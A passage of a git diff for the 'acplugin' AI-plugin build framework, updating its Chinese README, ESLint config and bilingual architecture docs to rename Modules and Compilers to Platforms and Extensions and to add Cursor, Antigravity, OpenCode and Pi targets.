是一个统一的 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks/MCP 源码,acplugin 将其构建为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 各自拥有的交付产物。 -它不再以 Claude 工程为默认输入进行“格式转换”。规范化工程才是唯一事实来源,每个目标 Compiler 负责最终 Manifest、路径、兼容性判断和确定性序列化。旧 Claude 工程/Plugin 的导入由隔离的 `acplugin migrate` 负责。 +它不再以 Claude 工程为默认输入进行“格式转换”。规范化工程才是唯一事实来源,每个 Platform 负责最终 Manifest、路径、兼容性判断和确定性序列化。旧 Claude 工程/Plugin 的导入由隔离的 `acplugin migrate` 负责。 ## 环境要求 @@ -37,7 +37,7 @@ export default defineConfig({ }); ``` -默认同时生成 `dist/claude-code` 和 `dist/codex`。 +默认同时生成 `dist/claude-code` 和 `dist/codex`。Cursor、Antigravity、OpenCode 和 Pi 需要显式启用,因为它们的兼容性和交付形态不同。 `acplugin.config.ts`、Hook descriptor 和 MCP descriptor 是由本地 Node.js 进程加载的可信工程代码,应按构建脚本同等标准审查。Migration 输入始终作为不可信数据处理,不会被当作规范 descriptor 执行。 @@ -47,7 +47,7 @@ export default defineConfig({ my-plugin/ ├── acplugin.config.ts ├── package.json -├── public/ # 可选,复制到每个目标根目录 +├── public/ # 可选,复制到每个 Platform 根目录 └── src/ ├── commands/ │ └── review.md @@ -57,9 +57,9 @@ my-plugin/ │ └── references/ ├── agents/ │ └── reviewer.md - ├── hooks/ # 仅启用 Hooks Module 后使用 + ├── hooks/ # 仅启用 Hooks Extension 后使用 │ └── policy/hook.ts - └── mcp/ # 仅启用 MCP Module 后使用 + └── mcp/ # 仅启用 MCP Extension 后使用 └── docs/mcp.ts ``` @@ -72,16 +72,16 @@ acplugin 不提供 Instructions Component。仓库级 Instructions 属于宿主/ `acplugin.config.ts` 可以导出对象,也可以导出接收 `{ command, mode }` 的同步/异步函数。 ```ts -import { defineConfig } from '@tokenroll/acplugin'; +import { claudeCode, codex, defineConfig } from '@tokenroll/acplugin'; export default defineConfig(({ mode }) => ({ name: 'team-review', version: '1.0.0', description: '团队代码审查工作流。', displayName: 'Team Review', - targets: [ - 'claude-code', - { id: 'codex', strict: mode === 'production' }, + platforms: [ + claudeCode(), + codex({ strict: mode === 'production' }), ], public: { dir: 'public', @@ -103,11 +103,20 @@ export default defineConfig(({ mode }) => ({ | `displayName` | 可选展示名称。 | | `srcDir` | 规范化源码目录,默认 `src`。 | | `public` | `false`、目录,或明确 copy 规则。 | -| `targets` | 目标集合,默认 Claude Code + Codex。 | -| `modules` | Hooks/MCP 等生命周期 Module。 | +| `platforms` | Platform 工厂列表,默认 Claude Code + Codex。 | +| `extensions` | Hooks/MCP 等可选横向能力。 | | `build.outDir` | 托管输出目录,默认 `dist`。 | | `build.strict` | 遇到 degraded/unsupported 是否失败,默认 `true`。 | -| `extensions` | 明确的目标平台逃生口。 | + +主包导出全部内置 Platform 工厂: + +```ts +import { antigravity, claudeCode, codex, cursor, openCode, pi } from '@tokenroll/acplugin'; + +const platforms = [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()]; +``` + +Claude Code、Codex、Cursor 和 Antigravity 生成静态 Plugin 交付单元;OpenCode 生成 Workspace Overlay;Pi 生成 npm Package。`acplugin init --platform ` 会显式写入所选工厂。 ## 核心 Components @@ -158,35 +167,37 @@ Components 可以依赖 Skills 和 Agents。缺失依赖、自依赖和循环依 ## 平台兼容性 -| Component | Claude Code | Codex | -| --- | --- | --- | -| Skill | 原生 | 原生 | -| Command | 原生 Command | 显式调用的 `command-` Skill | -| Agent | 原生 Agent | 降级为仅模型可调用的 `agent-` fallback Skill | +| Component | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| Skill | 原生 | 原生 | 原生 | 原生 | 原生 | 原生 | +| Command | 原生 | 转换为 Skill | 原生 | 转换为 Skill | 原生 | 转换为 Prompt | +| Agent | 原生 | 降级 Skill | 原生但有字段级限制 | 降级 Skill | 原生并转换能力字段 | 降级 Skill | Codex 可安装 Plugin 不能注册自定义的工程/用户 Agent。因此包含 Agent 时,严格 Codex 构建会失败;使用 `--no-strict` 才会生成 fallback,并明确报告模型、能力约束和注册语义丢失。 -## Hooks Module +交付单元、全部可移植 Hook 事件和 MCP 传输支持请查看[完整兼容矩阵](./llmdoc/reference/conversion-matrix.zh-CN.md)。 + +## Hooks Extension ```bash -pnpm add -D @tokenroll/acplugin-module-hooks +pnpm add -D @tokenroll/acplugin-extension-hooks ``` ```ts import { defineConfig } from '@tokenroll/acplugin'; -import hooks from '@tokenroll/acplugin-module-hooks'; +import hooks from '@tokenroll/acplugin-extension-hooks'; export default defineConfig({ name: 'policy-plugin', version: '1.0.0', description: '可移植策略 Hooks。', - modules: [hooks()], + extensions: [hooks()], }); ``` ```ts // src/hooks/policy/hook.ts -import { defineHook } from '@tokenroll/acplugin-module-hooks'; +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; export default defineHook({ event: 'PreToolUse', @@ -207,7 +218,7 @@ SessionStart, SessionEnd, UserPromptSubmit, PreToolUse, PermissionRequest, PostToolUse, PreCompact, PostCompact, SubagentStart, SubagentStop, Stop ``` -20 个 Claude-only 事件会为 Claude 构建,并在 Codex 目标报告 unsupported: +20 个 Claude Code-only 事件保持显式平台限定,不影响 Codex 兼容性: ```text Setup, UserPromptExpansion, PermissionDenied, PostToolUseFailure, PostToolBatch, @@ -216,19 +227,21 @@ TeammateIdle, InstructionsLoaded, ConfigChange, CwdChanged, DirectoryAdded, FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult ``` -acplugin 负责 bundle、输入规范化、语义结果校验、有界 JSON I/O、错误脱敏和第三方许可证产物。目标协议以最新的 [Claude Code Hooks](https://code.claude.com/docs/en/hooks) 与 [Codex Hooks](https://learn.chatgpt.com/docs/hooks) 为准。 +使用 `event: { platform: 'claude-code', name: 'Setup' }` 声明;裸字符串 `'Setup'` 会被拒绝。 + +acplugin 把每个实现只 bundle 一次,生成平台中立的 Node 20 ESM Handler;每个 Platform Adapter 贡献经过验证的静态或运行时集成,以及相邻的 `wire.mjs`,负责原生输入校验、递归 camelCase 转换和输出映射。共享 Handler 负责有界 JSON I/O、语义结果校验、安全错误和确定性的第三方许可证产物。宿主忽略的 meaningful matcher 会按具体 Hook 报告 `degraded`;不支持的事件不会生成伪运行时。 -## MCP Module +## MCP Extension ```bash -pnpm add -D @tokenroll/acplugin-module-mcp +pnpm add -D @tokenroll/acplugin-extension-mcp ``` 远程 Streamable HTTP: ```ts // src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; export default defineMcpServer({ transport: 'http', @@ -242,7 +255,7 @@ export default defineMcpServer({ ```ts // src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; export default defineMcpServer({ transport: 'stdio', @@ -251,17 +264,17 @@ export default defineMcpServer({ }); ``` -本地 MCP 需要由作者提供完整的 stdio MCP 实现,acplugin 将其 bundle 为 Node 20 ESM。HTTP MCP 只需要声明远程 endpoint、认证和 Header 引用。构建期间不会读取环境变量的秘密值。生产 HTTP 必须使用 HTTPS,开发模式仅允许 loopback HTTP。 +本地 MCP 需要由作者提供完整的 stdio MCP 实现,acplugin 将其 bundle 为 Node 20 ESM。构建会拒绝无法静态解析的运行时 dynamic import,只把声明的公开字面量环境值传给探测进程,并要求在超时和输出上限内完成 `initialize → initialized → tools/list` 协议 smoke;任何 Secret 引用值都不会被读取。HTTP MCP 只需要声明远程 endpoint、认证和 Header 引用。生产 HTTP 必须使用 HTTPS,开发模式仅允许 loopback HTTP。 -参考 [Claude Code MCP](https://code.claude.com/docs/en/mcp) 和 [Codex MCP](https://learn.chatgpt.com/docs/extend/mcp)。 +Claude Code、Codex 和 OpenCode 同时支持远程 HTTP 与 Bundle 后的本地 stdio;Cursor 与 Antigravity 只支持远程 HTTP;Pi 会报告 MCP 不支持。详见[完整兼容矩阵](./llmdoc/reference/conversion-matrix.zh-CN.md)。 -## Module 生命周期 +## Extension 生命周期 ```text -configResolved → discover → validate → build → generate(target) → buildEnd +configResolved → buildStart → discover → validate → build → Platform prepare → Adapter → Platform generate/validate → buildEnd ``` -Module 可声明 `dependsOn`,只能使用 Core 提供的工作目录,输出 Artifact、归属明确的 Manifest 字段和兼容性结果。Module 不能替换 Compiler,也不能直接写 `dist`。`buildEnd` 始终按初始化逆序执行。 +Extension 只能使用 Core 提供的工作目录;build 应通过 `context.addWatchFile()` 登记实际读取的全部源码/依赖,使 `dev` 跟随完整模块图。其 Platform Adapter 可以提交 Artifact、在声明的 Document extension point 增加字段并报告兼容性;不能替换 Platform 流程,也不能直接写 `dist`。`buildEnd` 始终按初始化逆序执行。 ## CLI @@ -274,12 +287,12 @@ acplugin build acplugin migrate [destination] ``` -通用参数包括 `--config`、`--target`、`--mode`、`--no-strict` 和 `--json`。 +通用参数包括 `--config`、`--platform`、`--mode`、`--no-strict` 和 `--json`。 -- `validate`:完整生成并验证目标,但不写 `dist`。 +- `validate`:完整生成并验证 Platform,但不写 `dist`。 - `inspect`:额外返回 Artifact 详情,但不写 `dist`。 -- `build`:所有目标成功后才原子替换完整 `dist`。 -- `dev`:监听工程输入;失败时保留上次成功产物,修复后恢复构建。 +- `build`:所有 Platform 成功后才原子替换完整 `dist`。 +- `dev`:监听配置、Components、Public、descriptor 和 Extension 登记的 Bundle 依赖;每批新 watcher ready 后先补偿构建,失败时保留上次成功产物,修复后恢复构建。 - 裸 `acplugin` 只打印 Help,不发起交互。 退出码:`0` 成功、`1` 工程/构建/Migration 失败、`2` CLI 用法或框架内部失败、`130` 取消。非 watch 命令的 JSON 模式只向 stdout 输出一个带版本的文档。 @@ -289,13 +302,13 @@ acplugin migrate [destination] - Artifact 只允许普通文件,带 owner、mode、size 和 SHA-256。 - 拒绝绝对/穿越路径、符号链接、大小写/Unicode 冲突和未授权来源。 - 构建使用同文件系统 stage、锁、事务记录、备份和完整目录 swap。 -- 任意目标失败都会保留上次完整 `dist`。 +- 任意 Platform 失败都会保留上次完整 `dist`。 - 生成内容/报告不包含时间戳、临时路径、环境变量值或凭据。 -- 未启用对应 Module 时,`src/hooks`/`src/mcp` 中存在内容会直接报错。 +- 未启用对应 Extension 时,`src/hooks`/`src/mcp` 中存在内容会直接报错。 ## 旧版本 Migration -Migration 只属于 CLI,采用动态加载,并与 Core/Compiler/正常启动路径隔离。 +Migration 只属于 CLI,采用动态加载,并与 Core/Platform/正常启动路径隔离。 ```bash acplugin migrate ./legacy-project ./new-plugin \ @@ -305,7 +318,7 @@ acplugin migrate ./legacy-project ./new-plugin \ acplugin migrate owner/repository ./new-workspace --all ``` -支持本地 Claude 工程、单 Plugin、Marketplace 和 GitHub 来源。Skills、Commands、Agents 和可移植远程 HTTP MCP 会尽量映射;Instructions、原始 Hooks、Hook 实现文件、本地外部命令 MCP 和不支持的资源保存在 `.acplugin-migration/unmapped/`,同时生成稳定报告和人工处理项。Migration 不允许原地写入。 +支持本地 Claude 工程、单 Plugin、Marketplace 和 GitHub 来源。`--plugin ` 会把一个规范工程直接写到目标根;只有 `--all` 才创建由独立工程组成的 pnpm workspace。Skills、Commands、Agents 和可移植远程 HTTP MCP 会尽量映射;Instructions、原始 Hooks、Hook 实现文件、本地外部命令 MCP 和不支持的资源保存在 `.acplugin-migration/unmapped/`,同时生成稳定报告和人工处理项。每个生成工程都会在原子提交前通过公开 API 重新加载,并执行真实 Extension/Platform 验证。Migration 不允许原地写入。 `--dry-run` 不写目标目录;`--strict` 在出现 degraded/unmapped 时失败。 @@ -314,10 +327,10 @@ acplugin migrate owner/repository ./new-workspace --all 公开包: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-module-hooks` -- `@tokenroll/acplugin-module-mcp` +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` -Core、Claude/Codex Compiler 和 Vitest Test workspace 均为私有实现包,不会成为公开运行时依赖。 +Core、内置 Platform 实现和 Vitest Test workspace 均为私有包,会被内联或排除在公开运行时依赖之外。 ```bash pnpm install @@ -325,9 +338,9 @@ pnpm run check pnpm run release:verify ``` -`release:verify` 会创建三个 pnpm tarball、检查 Manifest/文件列表、安装到 monorepo 外的干净消费者、执行配置类型检查、API import 和双目标构建,不会发布 npm。 +`release:verify` 会创建三个 pnpm tarball、检查 Manifest/文件列表和类型解析、安装到 monorepo 外的干净消费者、构建默认工程,并生成和构建六 Platform/两 Extension 脚手架;不会发布 npm。 -PR 会自动执行 lint 和 typecheck。手工触发的 `Patch` Workflow 接收一个至少包含一份 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 +PR 会自动执行 lint 和 typecheck。手工触发的 `Patch` Workflow 接收一个至少包含一份会升级公开包的有效 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 所有 npm 版本都从已验证 tarball 手工发布,顺序为 Hooks → MCP → 主包。逐一验证 Registry 精确版本后,再由维护者手工创建对应的 `tokenroll-vX.Y.Z` Tag 和 GitHub Release;仓库不包含自动发布 Workflow。 diff --git a/eslint.config.mjs b/eslint.config.mjs index 2311a10..519a71f 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -3,7 +3,7 @@ import tseslint from 'typescript-eslint'; import stylistic from '@stylistic/eslint-plugin'; export default tseslint.config( - { ignores: ['**/dist', '**/node_modules', 'test-fixture', 'llmdoc', 'coverage', '.llmdoc-tmp'] }, + { ignores: ['**/dist', '**/node_modules', 'llmdoc', 'coverage', '.llmdoc-tmp'] }, js.configs.recommended, ...tseslint.configs.recommended, // Formatting via ESLint Stylistic, matched to the existing code style. diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index 19b7e0d..ba292d7 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -7,57 +7,72 @@ ```text acplugin.config.ts → resolve/validate config - → order and initialize Modules - → discover canonical Components/Public - → validate Component dependency graph - → Module target contributions - → built-in Compiler per target - → immutable Artifact graph - → compatibility strictness/final validation + → initialize Platforms and Extensions + → Extension discover, then canonical Component/Public scan + → Extension validate/build + → Platform prepare + → Extension Platform Adapters + → Platform generate/validate/distribute + → immutable DeliveryUnit/Artifact graph + → compatibility strictness → validate-only materialization or managed output transaction → stable report ``` -`validate`, `inspect`, and `build` run this same pipeline. Only report detail and commit behavior differ. `dev` creates a fresh pipeline per coalesced rebuild and keeps the last successful complete output after failures. +`validate`, `inspect`, and `build` run this same pipeline. Only report detail and commit behavior differ. `dev` creates a fresh pipeline per coalesced rebuild, includes Extension-reported bundle module graphs, performs a catch-up build after watcher readiness, and keeps the last successful complete output after failures. ## Core package `packages/core/src/` owns: -- `types.ts`: public config, Component, Module, Compiler, Artifact, compatibility, and report contracts; +- `types.ts`: public config, Component, Artifact, compatibility, and report contracts; +- `contracts.ts`: branded Platform, Extension, Adapter, and lifecycle APIs; - `config.ts`: strict config normalization and safe project-relative directories; -- `scanner.ts`: canonical Markdown/Public discovery, Frontmatter validation, dependency graph checks, and Module-directory gating; +- `scanner.ts`: canonical Markdown/Public discovery, Frontmatter validation, dependency graph checks, and Extension-directory gating; - `diagnostics.ts`: stable sorted diagnostics and compatibility strictness; - `artifacts.ts`: ownership, hashing, file-source roots, modes, and collision checks; -- `builder.ts`: lifecycle orchestration, Compiler dispatch, final graph/report creation; +- `documents.ts`: add-only logical Document extension points and final serialization; +- `delivery-units.ts`: primary/distribution ownership and immutable Artifact registration; +- `lifecycle.ts`: fixed Platform/Extension orchestration and final report creation; - `transaction.ts`: validation materialization and whole-`dist` lock/backup/swap/recovery; - `serialization.ts`: deterministic JSON/YAML/Markdown serialization. Artifacts reject absolute/traversal paths, symlinks, unsupported modes, source escapes, and exact/case-insensitive/Unicode-normalized collisions. -## Module lifecycle +## Platform and Extension lifecycle ```text -configResolved → discover → validate → build → generate(target) → buildEnd +configResolved → buildStart → Extension discover → Core scan → Extension validate/build +→ Platform prepare → Adapter apply → Platform generate/validate/distribute → buildEnd ``` -Modules are topologically ordered by `dependsOn`, preserving config order among peers. A Module may access only declared dependency State/Built State and write only its Core-provided work directory. It returns target Artifacts, uniquely owned top-level Manifest fields, and compatibility entries. Compilers retain complete Manifest and target-schema ownership. +Platforms run in config order; Extensions run in config order and do not form a hidden dependency graph. Each Extension writes only its Core-provided work directory and returns platform-neutral Built State. Its Adapter can only read declared Documents, add fields at Platform-owned extension points, emit owned Artifacts, and report compatibility. Platforms retain complete lifecycle, Manifest, schema, validation, and distribution ownership. `buildEnd` runs in reverse initialized order after success or failure. On a candidate commit, the transaction keeps the prior output as a rollback backup while reverse cleanup runs. A cleanup failure is reported, passed to remaining cleanup hooks, and rolls the swap back to the previous complete output. Failures before the swap reach cleanup through the normal error path. -## Built-in Compilers +## Built-in Platforms -`packages/compiler-claude-code/` emits native Commands, Skills, Agents, and `.claude-plugin/plugin.json`. +`packages/platforms/claude-code/` emits native Commands, Skills, Agents, `.claude-plugin/plugin.json`, and optional Marketplace distributions. -`packages/compiler-codex/` emits native Skills, Command fallback Skills, Agent fallback Skills, invocation policy metadata, and `.codex-plugin/plugin.json`. Generated identities are reserved case-insensitively; collisions fail visibly. +`packages/platforms/codex/` emits native Skills, Command fallback Skills, Agent fallback Skills, invocation policy metadata, `.codex-plugin/plugin.json`, and optional Marketplace distributions. Generated identities are reserved case-insensitively; collisions fail visibly. -Both packages are private and bundled into `@tokenroll/acplugin` by tsdown. +`packages/platforms/cursor/` emits a static Cursor Plugin with native Commands, Skills, and Subagents. Its Manifest is validated against a pinned complete official Schema fixture; model and non-readonly capability losses are reported rather than guessed. -## Official Modules +`packages/platforms/antigravity/` emits a static Plugin with native Skills, Command fallback Skills, Agent guidance Skills, and the smallest publicly verified `plugin.json`. Metadata without a confirmed Manifest field is reported as omitted. -`packages/module-hooks/` discovers `src/hooks//hook.ts`, validates event/matcher/timeout/semantic results, and bundles a self-contained bounded JSON runner per supported target. Literal dynamic imports ensure the handler and dependencies enter the bundle. Runtime failures emit fixed codes without input payloads. Third-party dependency licenses are emitted adjacent to handlers. +`packages/platforms/opencode/` emits a workspace overlay with native Commands, Skills, and Subagents. It creates `opencode.json` only when configured fields or an Extension Adapter requires it, and never fabricates a generic package Manifest. -`packages/module-mcp/` discovers `src/mcp//mcp.ts`. Streamable HTTP declarations map URL/auth/header environment references without reading secrets. Local stdio entries are bundled as Node 20 ESM and carry adjacent third-party license notices. +`packages/platforms/pi/` emits an npm package with native Skills, Command Prompt Templates, and Agent guidance Skills. Its package Manifest declares only Pi discovery fields and cannot leak `private`, `workspaces`, or private workspace dependencies. + +Platform implementation packages are private and bundled into `@tokenroll/acplugin` by tsdown. The public facade exposes stable Platform factories and subpath contracts, not private serializers or validators. + +## Official Extensions + +`packages/extensions/hooks/` discovers `src/hooks//hook.ts`, validates event/matcher/timeout/result semantics, and bundles each implementation once as a platform-neutral Node 20 ESM Handler. Its six built-in Platform Adapters emit the verified static config or runtime integration for each host and report unsupported/degraded events individually. Runtime failures use fixed codes without payloads; third-party license notices remain adjacent to the Handler. + +`packages/extensions/mcp/` discovers `src/mcp//mcp.ts`. Remote HTTP entries remain declarations containing only public values and environment-variable references. Local stdio entries provide complete server code, are bundled once as Node 20 ESM, reject unresolved dynamic imports, and must pass a bounded real initialize/tools-list smoke without referenced Secret values. Its six Platform Adapters emit only transports each host can install: Claude Code/Codex support both, Cursor/Antigravity support remote HTTP, OpenCode supports remote/local, and Pi reports both unsupported. + +Extension build contexts expose `addWatchFile()` as the single dependency-registration boundary. Official bundlers report their actual Rolldown module graphs through it; Core validates absolute file identities, and the CLI—not the Extension—owns watcher policy and readiness compensation. ## Managed output transaction @@ -65,17 +80,17 @@ Both packages are private and bundled into `@tokenroll/acplugin` by tsdown. 1. acquire an exclusive sibling lock; 2. recover a retained backup/transaction record; -3. materialize all selected targets into a same-filesystem stage; +3. materialize all selected Platform delivery units into a same-filesystem stage; 4. recompute and verify every Artifact size, SHA-256, mode, and regular-file status; 5. write the transaction record and rename old output to backup; 6. rename stage to output while retaining the rollback boundary; -7. finish Module cleanup successfully or roll back; +7. finish reverse Platform/Extension cleanup successfully or roll back; 8. remove transaction and best-effort cleanup backup. Pre-commit failure leaves old output untouched. Failure after backup/swap rolls back. If cleanup alone is interrupted, the next run deterministically reconciles output and backup. Core tests inject failures at each observable phase. ## CLI and package boundary -`packages/acplugin/src/index.ts` loads fresh trusted TypeScript config/descriptor modules with Jiti and wires the two bundled Compilers. Nested config objects are runtime-schema checked before pipeline use. `cli.ts` owns commands, JSON/text output discipline, exit codes, watch coalescing, and lazy Migration import. Stable diagnostics redact external exceptions, absolute paths, and recognizable credential forms. +`packages/acplugin/src/index.ts` exposes the public facade while `project-config.ts` loads fresh trusted TypeScript config/descriptor modules with Jiti and `run-project.ts` connects resolved projects to Core. Nested config objects are runtime-schema checked before lifecycle use. `cli.ts` owns commands, JSON/text output discipline, exit codes, watch coalescing, and lazy Migration import. Stable diagnostics redact external exceptions, absolute paths, and recognizable credential forms. The normal facade and CLI startup do not import `migration/`. The packed main tarball contains no private package imports or runtime dependencies; `scripts/verify-release.mjs` proves this in an external consumer. diff --git a/llmdoc/architecture/system.zh-CN.md b/llmdoc/architecture/system.zh-CN.md index f04e779..dc7f3a9 100644 --- a/llmdoc/architecture/system.zh-CN.md +++ b/llmdoc/architecture/system.zh-CN.md @@ -7,57 +7,72 @@ ```text acplugin.config.ts → 解析并验证配置 - → 排序并初始化 Modules - → 发现规范 Components/Public - → 验证 Component 依赖图 - → 收集 Module 目标贡献 - → 为每个目标执行内置 Compiler - → 建立不可变 Artifact 图 - → 应用兼容性严格度并完成最终验证 + → 初始化 Platforms 和 Extensions + → Extension discover,再执行规范 Component/Public 扫描 + → Extension validate/build + → Platform prepare + → Extension Platform Adapters + → Platform generate/validate/distribute + → 建立不可变 DeliveryUnit/Artifact 图 + → 应用兼容性严格度 → 仅验证物化,或执行受管输出事务 → 生成稳定报告 ``` -`validate`、`inspect` 和 `build` 运行同一套 Pipeline,区别只在报告明细和提交行为。`dev` 会在合并后的每次重建中创建全新 Pipeline;重建失败时保留最后一次成功的完整输出。 +`validate`、`inspect` 和 `build` 运行同一套 Pipeline,区别只在报告明细和提交行为。`dev` 会在合并后的每次重建中创建全新 Pipeline,纳入 Extension 登记的 Bundle 模块图,并在 watcher ready 后先补偿构建;重建失败时保留最后一次成功的完整输出。 ## Core 包 `packages/core/src/` 负责: -- `types.ts`:公开 Config、Component、Module、Compiler、Artifact、兼容性和报告契约; +- `types.ts`:公开 Config、Component、Artifact、兼容性和报告契约; +- `contracts.ts`:带品牌的 Platform、Extension、Adapter 和生命周期 API; - `config.ts`:严格配置规范化和安全的项目相对目录; -- `scanner.ts`:规范 Markdown/Public 发现、Frontmatter 验证、依赖图检查和 Module 目录门禁; +- `scanner.ts`:规范 Markdown/Public 发现、Frontmatter 验证、依赖图检查和 Extension 目录门禁; - `diagnostics.ts`:稳定排序的诊断与兼容性严格度; - `artifacts.ts`:所有权、摘要、文件来源根目录、权限模式和冲突检查; -- `builder.ts`:生命周期编排、Compiler 分发和最终 Artifact 图/报告创建; +- `documents.ts`:add-only 逻辑 Document 扩展点和最终序列化; +- `delivery-units.ts`:主单元/分发单元所有权和不可变 Artifact 注册; +- `lifecycle.ts`:固定 Platform/Extension 编排和最终报告创建; - `transaction.ts`:验证物化以及整个 `dist` 的锁、备份、交换和恢复; - `serialization.ts`:确定性 JSON/YAML/Markdown 序列化。 Artifact 会拒绝绝对路径和目录穿越、符号链接、不支持的权限模式、来源目录逃逸,以及精确、大小写不敏感或 Unicode 规范化后的路径冲突。 -## Module 生命周期 +## Platform 与 Extension 生命周期 ```text -configResolved → discover → validate → build → generate(target) → buildEnd +configResolved → buildStart → Extension discover → Core scan → Extension validate/build +→ Platform prepare → Adapter apply → Platform generate/validate/distribute → buildEnd ``` -Module 按 `dependsOn` 进行拓扑排序;无依赖关系的同级 Module 保持配置顺序。Module 只能访问显式声明依赖的 State/Built State,并且只能写入 Core 提供的工作目录。Module 可以返回目标 Artifact、由其唯一拥有的顶层 Manifest 字段和兼容性条目。Compiler 始终完整拥有 Manifest 和目标 Schema。 +Platform 按配置顺序执行;Extension 同样按配置顺序执行,不形成隐藏依赖图。每个 Extension 只能写入 Core 提供的工作目录,并返回平台中立 Built State。其 Adapter 只能读取声明的 Document、在 Platform 拥有的扩展点增加字段、提交自有 Artifact 和报告兼容性。Platform 始终完整拥有生命周期、Manifest、Schema、Validator 和分发。 `buildEnd` 在成功或失败后按初始化的逆序执行。候选提交期间,事务会在逆序清理完成前保留旧输出作为回滚备份。清理失败会写入报告、传递给剩余清理 Hook,并把目录交换回滚到上一份完整输出。交换前失败则通过普通错误路径进入清理阶段。 -## 内置 Compiler +## 内置 Platform -`packages/compiler-claude-code/` 生成原生 Commands、Skills、Agents 和 `.claude-plugin/plugin.json`。 +`packages/platforms/claude-code/` 生成原生 Commands、Skills、Agents、`.claude-plugin/plugin.json` 和可选 Marketplace 分发。 -`packages/compiler-codex/` 生成原生 Skills、Command 回退 Skills、Agent 回退 Skills、调用策略元数据和 `.codex-plugin/plugin.json`。生成标识按大小写不敏感方式保留;任何冲突都会显式失败。 +`packages/platforms/codex/` 生成原生 Skills、Command 回退 Skills、Agent 回退 Skills、调用策略元数据、`.codex-plugin/plugin.json` 和可选 Marketplace 分发。生成标识按大小写不敏感方式保留;任何冲突都会显式失败。 -两个包均为私有包,并由 tsdown 内联进 `@tokenroll/acplugin`。 +`packages/platforms/cursor/` 生成静态 Cursor Plugin,包含原生 Commands、Skills 和 Subagents。Manifest 使用固定的完整官方 Schema Fixture 验证;模型和非只读能力损失会明确报告,不使用猜测字段。 -## 官方 Modules +`packages/platforms/antigravity/` 生成静态 Plugin,包含原生 Skills、Command 回退 Skills、Agent 指导 Skills 和最小公开确认的 `plugin.json`。没有确认 Manifest 字段的元数据会报告为 omitted。 -`packages/module-hooks/` 发现 `src/hooks//hook.ts`,验证事件、Matcher、超时和结果语义,并为每个支持目标打包一个带 JSON 大小边界的独立运行器。字面量动态导入确保 Handler 及其依赖进入 Bundle。运行时失败只输出固定错误码,不输出输入载荷。第三方依赖许可文件与 Handler 相邻生成。 +`packages/platforms/opencode/` 生成 Workspace Overlay,包含原生 Commands、Skills 和 Subagents。只有配置字段或 Extension Adapter 实际需要时才生成 `opencode.json`,绝不伪造通用 Package Manifest。 -`packages/module-mcp/` 发现 `src/mcp//mcp.ts`。Streamable HTTP 声明会映射 URL、认证和 Header 环境变量引用,不会读取凭据。本地 stdio 入口会被打包为 Node 20 ESM,并携带相邻的第三方许可说明。 +`packages/platforms/pi/` 生成 npm Package,包含原生 Skills、Command Prompt Templates 和 Agent 指导 Skills。Package Manifest 只声明 Pi 发现字段,不能泄漏 `private`、`workspaces` 或私有工作区依赖。 + +Platform 实现包均为私有包,并由 tsdown 内联进 `@tokenroll/acplugin`。公开门面只暴露稳定的 Platform 工厂和子路径契约,不暴露私有 Serializer 或 Validator。 + +## 官方 Extensions + +`packages/extensions/hooks/` 发现 `src/hooks//hook.ts`,验证事件、Matcher、超时和结果语义,并把每个实现只构建一次,生成平台中立的 Node 20 ESM Handler。其六个内置 Platform Adapter 为各宿主生成经过验证的静态配置或运行时集成,并逐项报告不支持/降级事件。运行时失败只使用固定错误码且不输出 payload;第三方许可说明与 Handler 相邻。 + +`packages/extensions/mcp/` 发现 `src/mcp//mcp.ts`。远程 HTTP 只保留公开值和环境变量引用;本地 stdio 必须提供完整 Server 代码,统一 Bundle 一次 Node 20 ESM,拒绝无法解析的动态 import,并在不读取 Secret 引用值的前提下通过有边界的真实 initialize/tools-list smoke。六个平台 Adapter 只生成宿主可安装的传输:Claude Code/Codex 支持两者,Cursor/Antigravity 支持远程 HTTP,OpenCode 支持远程/本地,Pi 对两者均报告不支持。 + +Extension build context 以 `addWatchFile()` 作为唯一依赖登记边界。官方 bundler 通过它上报实际 Rolldown 模块图;Core 校验绝对文件身份,具体 watcher 策略与 ready 补偿仍只由 CLI 负责。 ## 受管输出事务 @@ -69,13 +84,13 @@ Module 按 `dependsOn` 进行拓扑排序;无依赖关系的同级 Module 保 4. 重新计算并验证每个 Artifact 的大小、SHA-256、权限和普通文件状态; 5. 写入事务记录,并把旧输出重命名为备份; 6. 把阶段目录重命名为正式输出,同时保留回滚边界; -7. 成功完成 Module 清理,否则执行回滚; +7. 成功完成逆序 Platform/Extension 清理,否则执行回滚; 8. 删除事务记录,并尽力清理备份。 提交前失败不会触碰旧输出。备份或交换后失败会执行回滚。如果只有清理过程被中断,下次运行会确定性地协调输出和备份。Core 测试会在每个可观测阶段注入失败。 ## CLI 与包边界 -`packages/acplugin/src/index.ts` 使用 Jiti 重新加载受信任的 TypeScript 配置和描述 Module,并连接两个已内联 Compiler。嵌套配置对象会在进入 Pipeline 前完成运行时 Schema 检查。`cli.ts` 负责命令、JSON/文本输出纪律、退出码、监听事件合并和 Migration 延迟导入。稳定诊断会隐藏外部异常、本机绝对路径和可识别的凭据形式。 +`packages/acplugin/src/index.ts` 暴露公开门面;`project-config.ts` 使用 Jiti 重新加载受信任的 TypeScript 配置和描述文件,`run-project.ts` 把解析后的工程连接到 Core。嵌套配置对象会在进入生命周期前完成运行时 Schema 检查。`cli.ts` 负责命令、JSON/文本输出纪律、退出码、监听事件合并和 Migration 